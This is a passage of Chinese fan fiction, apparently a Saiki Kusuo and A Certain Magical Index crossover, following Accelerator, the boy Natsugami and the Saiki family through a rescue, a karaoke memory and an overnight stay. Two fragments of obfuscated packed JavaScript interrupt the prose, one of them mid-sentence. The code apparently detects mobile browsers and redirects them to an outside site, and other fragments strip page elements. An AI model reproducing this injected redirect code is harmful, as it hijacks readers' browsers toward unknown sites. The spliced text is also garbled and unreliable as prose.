他绝对不后悔自己这在别人看起来很“天真”的强出头,尤其在得知眼前这位看起来孬弱病残的男人能轻松扳倒五个大汉后。 因为他生长环境的周围正有个哪怕本人厄运缠身,但总是会路见不平拔刀相助,竭尽全力地去帮助别人的老好人的存在——他的上条叔虽然平时看起来很不靠谱,但言传身教对夏上影响不小。 少年人都是敏锐的,夏上争辩的话在肚肠里转了一圈,很快找到了切入点,“那你干嘛出手救我,你不也很天真吗。” 他的脚边躺着个翻白眼的秃头疤脸男人,就是他躲在墙的另一边,用机械臂偷袭夏上。其人不说血肉模糊看不出真实容貌的脸部,就连坚硬的机械臂也被揉碎成了粉末,连完整的螺丝钉都找不到。 惨烈程度可谓是独一档的。 对于这种评价,一方通行当然是嗤之以鼻:“别自作多情了,我只是觉得死人会很麻烦。毕竟你这小鬼那么弱,当然多关照关照那个渣滓。” 被人轻蔑地称弱却没有感到任何的不快,反而是—— “呃。”这微妙的熟悉感。夏上尴尬地伸出手指挠挠喉结,“我爸也喜欢这样说。” 一方通行不是很感兴趣,夏上继续道:“我那个平凡普通,嘴里会说着‘呀嘞呀嘞’‘麻烦’,但每次都会向需要他帮助的人妥协的父亲。” 是在说他口是心非? 一方通行差点气笑了,“哪里跑出来的没断奶的小鬼,雏鸟情结这么重吗?”他拄着拐往外走,在夏上“你去哪儿”的询问中冷哼一声,“回家,我不想再看见你了。” 被雨水冲刷的地面湿滑,第一位走的速度不快,堪称缓慢。 然而真正能让他停下步伐的却是因为别的事,凝视路边告示牌长达三十秒后,一方转过头:“长点上机学园怎么走?” 夏上:“……”你是成年人还是我是成年人? “往前直走十五分钟,在挂巨大广告牌的大厦旁边的路口右转,过两条街再左转,前行八百米左右……” “带路。” “那稍等一下,我得先报警。” 一方通行又“啧”了一声,但他现在确实没有更好的选择,口袋中的手机电量见底,打座机电话给最终之作也没有得到回应,要么是睡得昏天黑地,要么就是跑哪儿玩去了,总之指望不上。 他只好在原地等待。 夏上把包里的凶器都抖在地上,叮呤咣啷的铺了脸盆大的地面,又对着及时赶来的警员确认了这帮倒地者通缉犯的身份。然而哪怕公职人员们办事效率极高,但是案件性质的恶劣还是使得他们暂时不能离开,并且大概率要去警局做笔录。 小朋友下意识地看向一方通行所在地方。 几乎从头白到脚的人保持着副爱搭不理的样子,应付着前去询问的警备员,然而出乎意料的是,这位看上去并不好惹的存在表现得出人意料的随遇而安——最起码他们之间的对话看起来很平和,除了警备员从平静到唯唯诺诺的一八十度急转弯的表情变化。 这种场景,夏上只在电视剧里看过:下属执行任务,发现自家boss微服成某路人。 就在小朋友垂头丧气准备接受因为晚归被他爸责备的下场后,负责询问一方通行的警备员回来和他们队长进行了简单的交流后,居然口风大变。 说是对他们二人迫切离开的强烈愿望表示理解,于是本来严格且复杂的程序并没有完整实践。 他们被通知可以立刻离开。 “你和他们说什么了?”夏上踩着水塘跑过去问。 一方通行没伞,也没打算去附近躲雨。夏上的伞遮能够挡住大雨,却掩不去对方睫毛上挂满的细密水珠,“我说我是你爸,我们正赶着去见你病入膏肓的妈。” 口吻是显而易见的搪塞。然而—— “他们居然相信了?” 你居然相信了?一方通行看着小孩,从未如此觉得学园都市的新教育理念的普及会教傻学生是有道理的。 在他们那个时代,说什么信什么的可太少见了。 夏上还要再说什么,却被无情打断,一方挑了挑眉稍,无比自然地催促他:“行了,走吧。” “不是,我是想说你身上……” 一方通行顺着夏上手指的方向看过去,后知后觉的注意到衣角被溅上的血迹。他很是不满这突然闯入的鲜艳色彩,开玩笑,要是被最终之作看到了,少不得接受一通小题大做的关心。 但无论他采取何种办法清除,顽固污渍都绝不放弃来之不易的阵地。 ——小姑娘吊着眉眼插着腰数落他的样子似乎就在眼前。 “啧,如果有浴室清洗一下的话应该可以。” 夏上:“……”是暗示吧,是暗示吧?这位是怎么做到求助他人还这么理直气壮的? 小朋友唔了一声,“我家应该会有相似的衣物换洗……” 他话音未落,一方通行从善如流地侧过身来,摆出一副“嗯,跟定你了”的架势。见他微愣,更是表现得像个与冷静外表极不相符的粗线条,晃了晃手里的塑料袋,“这个当谢礼。” 夏上:“成交!” 虽然很奇怪,但……他爸有咖啡果冻吃了。 - 职场充满着工作能力的比拼与人情关系的交锋,即使齐木国春手写将近三十万字的个人传记《如何舔好老板的鞋》,传授给自己的儿子,期望他就算不在职场的浪潮中混得风生水起,也不至于被后浪拍翻在沙滩上。但作为当事人的齐木还是没什么小心打理职场关系的自觉,更不用提将那本“祖传名著”当成金科玉律。 直到下班前灰吕杵志和他提到晚上的聚餐,齐木才想起这件事似乎两周前就已经定下,当时就没能扭转现实的他现在根本无从推辞。 他坐在灰吕的车上给夏上打电话,说要晚点回去。 小朋友刚从海藤店里出来,回答说“行”的下一刻,就喊了一声“上条叔”。 齐木听着那边两个人叽里呱啦的寒暄问好,上条当麻好像是碰巧路过,没想到在这里遇到了夏上。 “你和谁打电话呢?” “我爸。” 然后某个老好人就隔着电话和他打招呼。齐木完美发挥了他装听不见的本事,简单的回复了“你好”两个字后就跳过上条当麻,叫夏上早点吃完饭早点回家。 夏上说好,齐木在上条“还是这么冷淡啊”的玩笑声中,掐掉电话。 “顾家的男人。”主驾驶上的灰吕激昂地竖起来大拇指。 灰吕杵志不管身处何处、何时,都要将衬衫袖子卷到肩头,十几年如一日的惯行着自己的穿衣准则,毫不怀疑,就算到八十岁,他大概也还是那个样子。这个与谁都能友好相处的男人是个对待任何事情都全力以赴的热血而爽快的存在。他无时无刻都能调动人心和积极性的“超能力”让他在哪里都颇受爱戴,但同时也因为过火的激情而让人郁闷。 ——明明早知如此,齐木还是没想到,喝醉后的灰吕居然可以这么难缠。 人都晃悠地找不着北了,硬是要去KTV唱歌,还提议抽号码轮流表演才艺。齐木本来是不想去的,在前台说本店新推出了甜品,巧克力圣代买一送一,送咖啡果冻之前——好吧,那就再陪十分钟。 齐木躲在角落里。他稍微动了点小手脚,抽到最后一个号,轮到自己之前,同事们估计就醉得人事不省了。 过于热血的灰吕杵志总是把每件事都当成人生的终极大事努力,不仅要热火朝天地做完,还要登峰造极,不然决不罢休。 一开口,就是极致的耳部摧毁炸弹。 齐木把冰淇淋连带着覆盖在上面的巧克力一并舀起塞进嘴里,魔音顺着耳蜗爬到神经末端,刺激得太阳穴都酸痛起来。他终于忍无可忍的打算给自己的耳朵套个屏蔽器的时候,灰吕“嗷呜”一声,晕乎乎地栽下去。 世界安静了。 甜品所带来的快乐又成了极致的享受,挖空玻璃杯后,他齐木又把目标转移向附赠的果冻,下一首曲子的音符跳跃着流淌出来,前奏响起,他心里动了一下。 “眼看这场雨就要停了/ 在只有我俩的黄昏……” 大家的耳朵还没能从灰吕的鬼哭狼嚎中适应过来,有人玩笑着揶揄,混乱之中,新来的二十岁男同事清亮的嗓音却强有力地钻进齐木的耳朵里。 “那一天那一刻在那里,如果不曾与你相遇/ 我们将会是形同陌路,成为毫不相干的人……” 他耳朵里开始嗡嗡作响,忽然想起多年前的某一天,还在那骄阳一样活泼明媚的年纪里,也有这么一场强行凑起来的聚会。 “现在的你已经为我心动/ 无需多言请依靠我……唉放电妹,你别笑啊,有那么难听吗?” “啊抱歉抱歉,你继续吧。” 御坂美琴擦擦眼泪,重新抱起饮料对上条摆摆手,“主要是看你对自己的跑调毫无察觉还沉醉其中的样子,实在是有点忍不住。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088928|179627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“啊,姐姐大人那是我的……哈!喝下去了!是喝下去了吧!是黑子期待已久的间接性亲吻,简直是天赐良机,这项爱的证明就由我收下了嘿嘿嘿——呃啊!” 上条甩甩被电流波及的设备,麦克风发出滋滋的呻/吟,不过好在没坏,“真的这么难听吗??” “当麻当麻,你认真一点。” “怎么连茵蒂克丝你也这样啊,我已经很认真了,我真的特别努力了!” “恶魔的歌声。御坂御坂如是说。” “你们啊!” 这边闹着笑着,慌乱中有谁打翻了汽水,气泡吐尽后剩下的黏腻糖水洒了一桌。齐木侧过头看身边唯一的寂静,一方通行窝在沙发里擦他的拐杖。 「我们一起来唱唱看?」 齐木一说话,上条那边瞬间静默,第一位看他的眼神像在看神经病。 “我越过时空的重重阻隔/ 倾尽一切与你相随……” 两个人的声音虽然又僵硬又配合不起来,却像是编织网络的横纵线,兜住那个夏天两个年轻人未曾言说却单纯简单的感情。 那首歌,他们最终顶着走调的压力也执拗的唱完了。 - 齐木的梦里有两个人偶尔重合的歌声和一方通行,梦醒了,现实里只有一个酒鬼。 试想,一个肱二头肌比齐木脑袋还大,发型像红毛赛亚人的男人突然挣脱齐木的束缚,连滚带爬地夺门而出,对着大马路上来来往往的行人撕上衣,是何种猎奇的场景。 大家会怀疑这家KTV的正经程度。 这还不算,赛亚人还要边跑边哭边吐边喊:“我、我我还能继续,呕呕呕……别拦我,一起燃烧小宇宙吧呜呜呜呕……这就是青春啊呕呕、呕……” 这样的行为艺术谁不多看两眼。 灰吕的各种迷惑举止让齐木不得不放弃了正常将其送回家的选项,他像个绑匪将人拽进黑乎乎的小巷子后,带着人瞬移来到灰吕家门口。 开门的是灰吕的弟弟松,两个人把灰吕简单安顿好。 扒掉那件破烂上衣的时候,灰吕忽然抓住齐木的手腕,他打了个气嗝,呼出浓重的酒精味,迷迷糊糊地念叨道:“……你那么喜欢铃科,既然遇到了,这回就别让人再跑了啊。” 醉汉手指头都快戳齐木眼镜上了:“小夏可不能再没妈了。” 齐木把湿毛巾甩他脸上。 「你还是关心关心你的肠胃吧。」 - 灰吕身上的酒气太重了,齐木嗅嗅自己的衣服,怎么闻都是股子怪味。夏上不喜欢酒精的味道,当爸的决定偷偷回去洗个澡,然后偷偷瞬移到家门口,再打开门,装作是刚下班归来。 计划实施的第一步就是先确认夏上的位置。 「念写」 小朋友正在房间里翻什么东西,根据手上影影约约贴了一寸照片的纸面来看,很有可能是入学用的相关资料,应该是上条今天跟他说的。 书房距离浴室最远,并且找全并核对所有资料还需要不少时间,夏上很难注意到浴室的动静。 绝佳的机会。 「隐身」潜入家中。打开门的瞬间,浴室里氤氲的热气和淅淅沥沥的水声让齐木一时没反应过来,有那么一瞬间他以为自己进错了别人家的浴室,尤其当他看到有人影在浮动时。 对方站在水雾空朦的地砖上,沐浴着白亮亮一片自上泻下的水流。 白白白,入眼是从头到脚的白…… 他抬起头,那双赤红色染了戾气的瞳眸注视过来,达到重物投入平静湖中激起滔天大浪的效用的同时,也叫眼前这具熟悉到每一根毛细血管每一寸肌肉纹理都了如指掌的身体和一方通行这个名字瞬间联系起来。 齐木下意识使用了瞬间移动。 头顶鱼群涌动,齐木沉进海里,光、热与空气,都一点一点消失殆尽。 他最后落到一望无际的海底,扇贝从他身边招摇走过。 章鱼触手碰了碰不速之客手上的锗石戒指,像是亲吻般。 齐木没想到,听从久留美的建议而够买的可以促进跟夏上多进行语言交流的神器,居然成了他自掘坟墓的利器——虽然有电极的干扰,他偶尔也会听不到一方通行的心声就是了。 总之这下好了,只一眼,……就彻底挥之不去。 齐木盯着上方游过的成群结队的鱼,仿佛看到对方鱼肚白的皮肤,继而联想起肌肤触摸起来的微凉的温度,配上嚣张到不像样子的表情和日常嘲讽到极致毫不留情面的言语,两者结合,似乎就是一方通行的灵魂。 这里可能是大西洋,待得越久,阳光越是刺眼眩目。与此同时,他的胃也不舒服地缩紧了,窒息混合着饥饿形成轻微的痉挛感。 “……想吃咖啡果冻。” 因为过于紧绷而把声音用喉咙实实在在发出来的缘故,他说的每一个字都变成了气泡。 咕噜咕噜,咕噜咕噜。 咕噜咕噜。 咕噜。 咕…… 然后,他,齐木楠雄,一个无所不能的超能力者,人生第一次,溺水了。 8. 第八章 事业进入平缓期的齐木国春先生前几年被调到养老圣地——城乡结合编辑部去了,说好听点工作环境优美、空气清新,生活成本还低,说不好听点就是夕阳红老年活动中心,人均年龄六十五岁。 为此,齐木国春陈情十五次,声泪涕下地请求不要让他离开。 他儿子就很不以为然,用他那“不孝子”的话来说,就凭他爸那基本属于癌症晚期的工作能力,舔鞋能舔到职业生涯寿终就寝,已经算是技艺高超,过人一等了,应该知足才是。 五十岁的男人眼泪涛涛如水,哭得比夏上五个月的时候还惨:“才不是这样的呢,小楠根本不不了解工作所带来的充实感和满足感,没有工作的人生是单调重复的,那还有什么意思!” 一副离了儿子(其实是超能力)和工作(其实是鞋)就活不下去的悲惨模样。 然而和久留美女士在乡下老宅待了不过一周—— 再见到时,国春先生精神焕发,仿佛重返三十岁,微笑着给夏上展示居委会的编舞,“小夏你看,跟着灰吕奶奶一起,舞麻将的节奏不要乱……退休真好,太快乐了太快乐了。”然后在夏上天真无邪的询问中,继续保持微笑,“工作是什么东西,赶快去死吧。” ——就这样心安理得地正式开始了他的养老生活。 今天也是美好一天的国春先生哼着歌快乐搓澡,手一伸,却没有在熟悉的位置摸到毛巾,他这才想起自己白天拿到阳台去晒,似乎还没有收回来。 手忙脚乱地拉开推拉门,“不好意思啊,妈妈能帮爸爸拿——卧槽!” 突然出现在眼前的人影吓得他老人家画风都快突破次元了,心跳直接奔上一百二,得亏多年练就的肌肉记忆战胜了近视,这才没撅过去,“小楠????” 齐木楠雄浑身上下没有一处是干的,湿漉漉的粉毛无精打采地紧贴着皮肤,绿色的镜片把他的眼睛挡的严严实实。 拉满黑线的扑克脸上阴郁的能结出冰碴:「爸,我洗个澡。」 他爸盯着儿子汩汩冒血,不知道是被什么东西咬的头顶:“……” 是不是世界末日来临,小楠又拯救地球去了? - 开玩笑,他可从来没见过儿子这么狼狈的样子。齐木国春对着浴室的方向疯狂咬指甲,伴随着厨房里的磨刀声,他猛地一拍手,“我懂了,妈妈!一定是哪里不对劲!” “哪里不对劲?不是挺好的吗爸爸,小楠去海底玩带了好多特产回来,它们都好新鲜。虽然开门的时候确实吓了妈妈一跳,居然有条鱼咬着小楠的头!还好小楠是超能力者,不然可就死定了。”久留美笑眯眯的举着菜刀奋力解剖一只巨大的五彩斑斓的海星。 “鱼?什么鱼?” “当然就是爸爸坐的那条鱼啦,是叫大马林鱼来着的吗?” “什么?”齐木国春连忙起身想要离它远点,但他翻了个身还是不幸的没能离开这个横贯客厅长达五米的东西,而整个屋子里不是海鲜就是海鲜,大大小小的贝类铺了一地,粗糙的表面堪比公园湖边铺的劣质鹅卵石,让国春几乎无处下脚。 偏偏他的焦虑和担忧没人能够分担,不管他说什么,妻子都已经陷入了对接下来日子的美好想象之中,“这么多,可以叫上全村的人一起享用了,大家都会很开心的~” “存放需要个大点的冰柜吧,现在电器城还营业吗?” “不对,冰柜大概不够。爸爸你说,我们要不要让小楠先运到南极冰镇起来,然后在院子里挖个冰库——” 浴室门被推开,久留美及时刹车,劈头盖脸就是一通关心,“水热吗?衣服合身不合身?那是爸爸的,你将就一下。冰箱里有咖啡果冻你吃了再走……” 人的意志力还真是一种奇妙的东西,某时某刻会强大到让人难以置信,就像他溺水自救,把自己从海里捞上来的同时还能和一群海鲜搏斗般,过去的十几年间他的精神高度集中,游刃有余的像是提前预支了后半辈子的元气的缘故,如今到达了某个界点,再也绷不住,很快就散了。 齐木从未觉得自己有这般的疲惫,他拖着步子走向客房,「我今天睡这里。」 “那也吃了咖啡果冻再睡……” 两个脑袋挤在门口,透过门缝儿看儿子闻所未闻地飘上床,梦游似的给自己盖上被子,再有气无力地道晚安,于是原本还算平衡的天秤瞬间向主张悲观的那一方倾斜。 “出大事了爸爸(妈妈)!” 夫妻俩如遭雷轰,异口同声,“小楠居然不想吃咖啡果冻,那可是限量豪华款!!!” - 夏上抱着一沓文件走出来的时候,一方通行坐在沙发上擦拐杖,他眼睁睁的看着男人按了个开关,看起来人畜无害颇具现代风的拐杖底部就冒出个黑乎乎的枪口。 没有一个男生能对此免疫,他爸是个极端的例外——这个人脑袋里只有咖啡果冻,哦,还有工作。 刚才在书房,夏上翻到他爸不少的研究资料,整张纸写得满满的,只可惜他一个字都看不懂,有土耳其语,也有阿拉伯语,还有俄文。有回和灰吕叔吃饭,对方说漏嘴,透露他爸喜欢用外语誊写的目的是为了加密资料——谁看他的啊,夏上听的时候就很无语,阿拉伯语和土耳其语还行,最起码能看出区别,那俄文是个啥啊,写一串跟糖葫芦似的,看都懒得看。 “你自己改装的吗?”小朋友眼睛都亮了。 一方通行应了一声,他把拐杖恢复原状,“当做减少麻烦的工具很不错。” 救下最终之作那件事后,虽然在特点的短时间内,他的战力得到了大幅度的提升,但电极的存在还是带来重重麻烦,让他在能力使用这方面不得不精打细算起来,把拐杖改造成武器用以日常防身以节约电量,算是一种不错的选择。 发呆的功夫,一个没注意,毛茸茸的脑袋就凑到自己面前。 “嗯,没有血腥味了。”夏上嗅嗅,只闻到家里皂角的清香后,又退远了来回打量。新换的白T恤挂在一方通行身上,和之前那件没什么区别,“衣服还挺合身的,我爸就比你高半个头,你俩身材差不多,我就知道能穿。” 一方通行有自己在意的事,“什么时候走?” “就来。你再用吹风机把头发烘烘干。” 看着小孩又躲进房间里,第一位再也没耐住跟上去。 “你还要找什么?凭我的计算力的话……”他在一间看起来应该是男主人所有,但现在乱到惨绝人寰的卧室门口驻足——夏上正卖力将一切恢复原状。 那张与他极其相似的面容颇为窘迫,“那个,其实我只是印象中有这么一件衣服和你原来那身很像,但我不知道放在哪儿,所以找了好久。” “我现在得恢复原样,不然等我爸回来就糟糕了。” 一方通行看着眼前混乱的场景,在心里默默给小孩的“找”框定了一个范围——翻箱倒柜,无所不及。他的目光百无聊赖地越过夏上的黑发,扫过码满了资料的庞大书柜,最后落到墙角的办公桌上。白色的头发,红色的眼睛,笑得如沐春风。 “那是你妈?” 夏上头也没抬,“是啊。” 一方通行又多看了两眼。 这个家中很明显没有女主人生活的痕迹,到处都充斥着孤家寡人的气息。 根据照片拍摄的节点来看,女主人不在家生活已然有了很长一段时间。不过对于照片上这个人的去向,一方通行并没兴趣追究,他用拐杖敲敲夏上面前的地板,“跟我也不怎么像嘛。” “仔细看看,确实不像。我妈看起来比较温柔,你看起来……”夏上看看一方通行,斟酌措辞,“呃,不那么温柔?” “但是你是好人!”夏上语速飞快地打上一个补丁。 “主要我现在怀疑我是大众脸。” 小朋友继续絮叨,说完却是一顿,反应过来,他小心地瞅瞅一方通行的表情,“我也没说你是大众脸,我是说……” 他还没说完,手机响了,那边松火急火燎的,“夏上,你爸呢?紧急救援啊。我控制不住我哥了!他在发酒疯,人都站不稳,居然穿着系着草莓印花的围裙,在厨房里倒腾猪蹄烧饭,我特怕他烧了头发。快让齐木叔来一趟……啊啊啊啊!你把裤子穿上!” 夏上听着松发出一声哀嚎,莫名有了画面感。 曾经有幸见过一次,就再也没忘掉。主要是视觉方面的冲击太过巨大——松他哥过分用功到露出闪瞎人眼的半截屁股是威胁心理健康的杀伤性武器。 能想象松现在焦头烂额的样子,但他爱莫能助,“我爸没回来呢。” “没回去?他不是早从我们家走了吗。我以为他回去了呢,我用我哥的电话打过去,那边是忙音,这才打电话给你。” 夏上心里咯噔一下,“我爸早走了?手机还关机?” “可能是没电呢……”松还没说完,手机就被抢走了,豪迈的声音如雷贯耳,灰吕杵志边说边打嗝,“小夏别担心,你爸他是追你妈去了,想当初我是你爸的班长,你妈也是班上一枝花。这是枯木逢春,重燃激情!为了庆祝你爸结束十多年单身生涯,我们就此干杯,干杯!” 电话最终以松“哥你别添乱了”的怒吼为终结。 留下夏上无风也凌乱。 意识到不能再指望眼前的小屁孩,一方通行的手已经伸到电极上,然而他还没开口有个像样些的告别,就被夏上噎了回去,“不行,我送你。” 刚刚稍稍整理了一下思绪,夏上决定先把一方通行送走,然后再去找他爸——放任是不可能放任的,他爸是无能力者,要是遇到歹徒细胳膊细腿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088929|179627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打不过怎么办?脑补一轮粉毛被绑架的画面,夏上“腾”一下站起来。 脑袋里的熊熊烈火刚开始燃烧,小朋友就接到了他爷爷的连环夺命call。 夏上蹲在玄关处,把电话夹在耳朵和肩膀之间,歪着头去拉鞋后跟。谁知一个没站稳,反而险些把手机摔了,于是干脆把手机放鞋柜上开免提。 音量有点大,国春先生的惨叫plus响彻四方。 “不好了小夏!小楠他……变态了!!!” - 反应过来的时候,夏上就已经带着一方通行落在齐木乡下的老宅门口。鞋后跟还没来得及拔好,落地的时候还打了个趔趄险些摔倒的小朋友懵懵然环顾四周,意识到这是什么地方的时候,他人傻了。 要知道这里距离他们家有四十公里,而他平时「坐标移动」的范围最多一平方公里! “这这这、这是我做的吗?” 他仓皇无措地看向身边的男人,一方通行抓抓凌乱的刘海,深呼吸以平心静气,“是。” “……那、那我送你回去。” 自觉做错了事的小朋友反应都迟钝起来,说着就要往外走。 一方通行把很显然迷迷瞪瞪还未曾搞清楚状况的少年揪回来,“你现在在流鼻血,最好别使用能力了。” 那双红色眼眸从茫然迷惑转为簇亮愕然,“我不能送你回去了?” 你小子到底搞没搞清楚情况啊。第一位又觉得牙痒痒,又想叹气,“是。” 学园都市这个名字近年来名存实亡,大量成年能力者担负起这个庞大行政机构的运转,很多新一代的未成年能力者在很多方面都不像他们那代一样敏感。 但,是个好孩子。 完了事儿办砸了。 夏上小狗勾本就不大精神的耳朵彻底耷拉下去,嗡里嗡气地道歉。 “啧。”一方通行在心里无奈地长叹一口气。 后悔,现在就是后悔。早知道就不该因为在意血迹而跑到这小屁孩家里,或者在他要找爸爸的时候就强硬地自行离开,总比现在这样好——根据剩余的电量来看,甚至不够支撑他用能力回到市区,更别说去长点上机,而这个点电车也已经停了…… 偏偏他这个受害人还得安慰他。 “今天回不去就算了。”一方通行拉开门,把人跟赶小鸡仔进窝似的赶进去,“弥补失误,提供个过夜的场所总行吧?” 夏上懵懵地挤进去,立马就被海鲜围得站不住脚,更懵了。 门外的一方通行以为他还在郁闷,不免又费神想了个别的既不让他自己感到难受还能拐弯抹角给夏上台阶下的话,“看看变态人长什么样也行。” 他说着,结果进门,一根长长的矛状上颚抵到他眉心。 正对着的两只死鱼眼怼来颓废的目光,大马林鱼像只身披钴蓝色战袍的败阵将军,它身下骑着的虾兵蟹将的尸体堆积如山。 一方通行沉默片刻:“你们家的生活真的很丰富多彩。” 夏上:“……” “啊,夏夏原来是你来了,快来看看你爸爸他……”听到动静前来的齐木夫妇泪飘十米,但是大马林鱼阻碍了他们的熊抱。 一方通行顺手把大马林鱼的矛折断:“他们不计较你是怎么来的?” 夏上麻利地抹掉鼻血,“因为他们是笨蛋夫妇。” 就像你不计较你爸是怎么从四十里外的市中心突然出现在这里一样? 一方通行瞥了一眼贴着墙绕开障碍疾步前行的小孩,小孩给他开辟道路,细心地把易造成滑倒的海鲜清理掉。 海鲜味实在是太浓了,一方通行像承受不来满客厅的腥味一样同时也承受不来齐木夫妇的过度热情。 他形容不来男主人看到他的瞬间那两眼放光的眼神是个什么意思,也无法理解女主人温柔又殷勤的倒茶添水,即使他礼貌拒绝也绝不放弃的动机。每当他用狐疑的目光回视时,对方就会摆出“V”字蜜汁口型,“这就是齐木家的待客之道呀。” ……总感觉在密谋什么事。 这种违和感在分配睡房的时候达到了顶峰。 在得知他要留宿过夜后,一方通行在久留美女士的脸上看到了遮盖不去的狂喜,齐木国春更不要说了,能做出三百六十度回旋舞步的人一定很快乐吧。 “如您所见啦,家里现在堆满了海产品,客厅实在没地方,能住人的也只有这间了……”明明是略带歉意的口吻,齐木国春的表情却很扭曲很猥琐。 “铃……咳,一方睡这里。” “啪”一套被褥丢客卧的床上,隔壁睡着夏上他爸,这棒棒糖绿眼镜粉毛雷打不动,睡得像死猪。 “那我呢?”夏上指指自己。 “啪”一套被褥丢旁边地板上,“夏夏睡这里。” 9. 第九章 夏上这一觉睡得并不安稳。 小孩做了个梦,梦见他爸正和那个名为母亲的人手拉手并排前行,他冲上去叫了一声妈,对方微微偏过头来,属于一方通行的侧颜祥和又美好。他问,我妈呢,一方通行回答他,我就是你妈。 红眸白毛的冷脸和他妈的微笑重叠在一起的瞬间,他吓醒了。 夏上睁开眼睛的时候天刚亮,晨光透过淡粉色的窗帘照亮了房间,像是给这静到只剩下绵长呼吸的房间换了个奇怪的滤镜。他摸了摸身上鸡皮疙瘩,慢慢坐起来,涔涔冷汗把他的睡衣打的透湿,一起身,居然有种凉意穿透心窝的感觉,他往床上瞥了眼,寒毛直竖,彻底睡意全无。 不算宽敞的双人床上,熄灯前还背对背侧睡在床两边,中间跟画了条生死线的两人,眼下居然面对面靠的很近,无比自然地零距离依偎在一起。 ——并且睡正酣。 夏上没少在少儿夏令营里和灰吕松睡成纠缠在一起的八爪鱼,早上起来要么是腰被膈着了,要么就是脖子落枕了,但这场面,他没遇到过。 他爸,他那个除了看咖啡果冻很温柔其余时间不苟言笑的爸,用可谓是轻柔的动作把人圈在胸口处搂着。 对方是谁?可是那个在拐杖里装枪子,强悍到随手放倒五个大汉的一方通行。 更惊悚的是,他爸的嘴唇还贴着人家的额头,鼻尖隐匿在凌乱的发丝之中,白花花赤果果的锁骨正对着紧闭着的翕动的白色睫毛。 要知道他长这么大,就没见过他爸这样。 齐木楠雄的端庄沉稳是可是刻进了DNA的,就算是睡觉,也是风雨不动安如山。睡姿绝对安全,晚上睡下是什么样,早上起来还是什么样,翻个身都算是身心愉悦、过度放松了。 眼前这样的姿态,简直就像是与此生挚爱久别重逢,举手投足间都洋溢着兜不住的幸福。 夏上觉得自己有被这一系列极其反常的举动刺激到。 他突然回想起那个梦,那个他刚刚还在庆幸只是一个泡影的梦…… 小朋友慢慢地蜷缩起来,整个人跟个狗崽子似的抱着膝盖,坐在地铺上,瞪着眼睛一动不动地看床上的动静。 齐木国春先生昨天晚上撕心裂肺的“小楠变态了”一遍遍在夏上脑袋里循环播放——变态是指这个意思吗?他呆呆地看着两颗呼吸着的胸膛平稳起伏,突然开始想些有的没的。 这时候,他是不是该安慰自己,还好他梦里一方通行是他妈的设定没有照进现实? 等等,不会变成后妈吧。 …… 陷入深度人生怀疑的小孩突然觉得自己的膝盖骨有点疼,彻底放弃了思考,顶了个被他睡的乱七八糟的鸡窝头,颓靡地放空。 他想,到底是我青春期到了,还是我爸的桃花运来了? 要是齐木楠雄现在醒过来对上那双痴痴的大眼珠子,好不容易混入普通人之中的超能力者可能会被吓到原形毕露,外加一句评论:是电视剧看多了。 - 「呼……」 得到充足休息的身体发出一声餍足的慨叹,蒙头睡到天亮的超能力者并没有立刻意识到自己的肌肉记忆背着他做了什么“不知羞耻”的事。只是觉得鼻尖有些瘙痒,挣扎着打开紧闭到严丝合缝的眼睛,入眼是炫目的白。 毛茸茸、软乎乎的…… 齐木懵懵地摸到对方瘦削到脊骨轮廓突出的后背,再往下,睡皱了上衣只塞了一半在裤子里,剩下晃晃荡荡的布料撩起来,露出一截又细又韧的窄腰,他这才意识到那根本不是什么大型毛绒玩具,而是一个活生生的人。 怀中人适时的冷冷开口,“可以放开了吗?你儿子人都傻了。” 这道声音是刻在骨子里铭记一生的,不消略加思索立马就能反应过来——他抱的人不是别人,正是他逃到大西洋、离家出走也要避开的一方通行,对方惯常那样懒洋洋的闭着眼,用不屑去计较的冷静口吻说话。 谁说第一位脾气不好?第一位脾气可好了。 而齐木一回头,夏上坐在地上望着他,毛炸到起飞。 “哦呼。”齐木楠雄“唰”地松开一方通行。 - “起床了吗?可以吃早餐啦。”国春先生小心翼翼地推开房门,他背后突然一寒,齐木楠雄那张又阴郁的能结出冰碴的扑克脸森森地凑到他耳边。 当爸的没见到长辈喜闻乐见的场景不死心地探头往里看,刚看见一方通行坐在床边表情自然的揉手腕,白皙皮肤下交错着的毛细血管,就被他儿子提溜着后颈肉拉出去了。 很显然他刚错过的一场大戏,现在将由儿子给他复习复习。 齐木楠雄头发还湿着,眼镜蒙上厚厚的雾气,「托你的福,我早上冲三遍澡了。」 「……是不是该给我解释解释?」 超能力者手上被捏的嘎吱作响的关节是个不错的威慑,要是他爸不能给出个满意的答案,倒是不介意替他老人家松松筋骨——正骨可是对身体有百利无一害。 棕毛男人陪着笑脸:“说来话长,这其实是个意外……” 「意外?」齐木吊起眉毛,鬼才信这老油条的话,「家里那么多房间——」 “都堆满了海鲜。”齐木国春打断儿子,赶紧接话,提到这个他可就不嘴软了,“小楠带了太多特产回来,家里到处到处都是鱼,爸爸妈妈昨天可是整理了好久呢。真的没有多余的房间了,不然最起码夏夏是可以拥有自己的单人间的啦。” 这是吃准了他理亏,不好在这事上发难。齐木楠雄看着老狐狸光明正大的奸笑——太嚣张了真的太嚣张了。 但他又不得不忍气吞声,就此退让,「如果让夏上睡在主卧的话……」 “哎呦,在哪打地铺不是打地铺,有什么区别吗科科。”棕毛男人不正经地挥挥手,做出娇羞模样。 「……」 科科?你刚才笑了吧,是笑了吧。 